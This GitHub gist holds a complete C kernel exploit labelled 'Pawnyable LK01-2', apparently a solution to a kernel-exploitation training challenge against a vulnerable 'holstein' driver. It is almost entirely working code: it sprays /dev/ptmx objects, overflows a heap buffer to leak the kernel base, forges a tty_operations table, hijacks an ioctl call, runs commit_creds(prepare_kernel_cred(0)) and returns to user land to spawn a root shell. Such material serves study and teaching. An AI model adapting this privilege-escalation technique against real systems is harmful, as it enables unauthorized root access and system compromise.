Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@brant-ruan
Last active November 25, 2022 10:49
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brant-ruan/9af1538e194470d3d699d797e5845c7f to your computer and use it in GitHub Desktop.
Save brant-ruan/9af1538e194470d3d699d797e5845c7f to your computer and use it in GitHub Desktop.
Pawnyable LK01-2
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#define ofs_tty_ops 0xc38880
#define SPRAY_NUM 100
void spawn_shell();
unsigned long kbase;
unsigned long g_buf;
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0x74650;
uint64_t commit_creds = 0x744b0;
uint64_t user_rip = (uint64_t)spawn_shell;
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
void privesc() {
__asm__(".intel_syntax noprefix;"
"movabs rax, prepare_kernel_cred;"
"xor rdi, rdi;"
"call rax;"
"mov rdi, rax;"
"movabs rax, commit_creds;"
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;");
}
int main() {
save_userland_state();
int spray[SPRAY_NUM];
for (int i = 0; i < SPRAY_NUM / 2; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1)
perror("open");
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
perror("open");
}
char buf[0x500];
read(fd, buf, 0x500);
kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops;
g_buf = *(unsigned long *)&buf[0x438] - 0x438;
printf("[+] leaked kernel base address: 0x%lx\n", kbase);
printf("[+] leaked g_buf address: 0x%lx\n", g_buf);
prepare_kernel_cred += kbase;
commit_creds += kbase;
// craft fake function table
unsigned long *p = (unsigned long *)&buf;
p[0xc] = (uint64_t)privesc;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x420);
// hijack control flow
for (int i = 0; i < SPRAY_NUM; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}
getchar();
close(fd);
for (int i = 0; i < SPRAY_NUM; i++)
close(spray[i]);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment